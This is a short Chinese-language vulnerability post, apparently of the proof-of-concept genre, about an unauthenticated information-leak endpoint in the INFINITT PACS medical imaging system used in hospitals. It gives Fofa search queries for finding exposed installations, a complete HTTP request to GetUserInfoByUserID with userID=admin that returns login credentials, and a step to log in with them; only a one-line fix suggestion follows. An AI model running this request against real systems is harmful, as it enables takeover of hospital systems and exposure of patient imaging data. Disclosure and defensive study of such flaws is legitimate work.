0x01 产品描述：

‌       英飞达医学影像存档与通信系统（PACS）‌是一种应用于医院影像科室的系统，主要任务是将日常产生的各种医学影像（包括核磁、CT、超声、X光机等设备产生的图像）通过不同接口以数字化的方式保存，并在需要时快速调用，同时提供辅助诊断管理功能。它在医院数字化建设中扮演着重要角色，促进了医学影像的高效管理和资源共享‌

0x02 漏洞描述：

        ‌英飞达医学影像存档与通信系统（PACS）‌在/GetUserInfoByUserID接口中存在未授权访问，泄露登录等敏感信息，导致攻击者可登录接管系统。        

0x03 搜索语句：

Fofa："INFINITT" && (icon_hash="1474455751" || icon_hash="702238928")

Fofa：body="./scripts/library/bluebird.min.js"

0x04 漏洞复现：

GET /webservices/WebUserLogin.asmx/GetUserInfoByUserID?userID=admin HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

 使用泄露的用户名/密码尝试登录

0x05 修复建议：

对未授权信息泄露的接口加上权限校验，或接口加入ip白名单限制，同时回显数据进行脱敏处理。